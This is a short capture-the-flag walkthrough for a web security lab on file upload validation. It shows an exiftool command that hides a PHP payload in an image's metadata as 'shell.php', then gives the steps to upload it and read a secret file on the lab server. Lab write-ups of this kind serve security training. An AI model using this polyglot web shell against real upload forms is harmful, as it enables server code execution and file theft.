8.6 Lab: Remote code execution via polyglot web shell upload | 2024

This lab contains a vulnerable image upload function. Although it checks the contents of the file to verify that it is a genuine image, it is still possible to upload and execute server-side code.

To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.

You can log in to your own account using the following credentials: wiener:peter

Open your Terminal and type the below command to create a polyglot payload — Make sure to add a path to an image: Here it is test.png
exiftool -Comment=”<?php echo ‘START ‘ . file_get_contents(‘/home/carlos/secret’) . ‘ END’; ?>” test.png -o shell.phpLog in to your Account with wiener:peterUpload the shell.php generated using the CommandRight-click the Image, and ClickOpen Image in New Tab.Now, You can able to see the Content of the Carlos between the START and END HeadersCopy the Secret code and paste it in the Solution to solve the Lab

A YouTube Channel for Cybersecurity Lab’s Poc and Write-ups

Telegram Channel for Free Ethical Hacking Dumps

Thank you for Reading!

Happy Ethical Hacking ~

Author: Karthikeyan Nagaraj ~ Cyberw1ng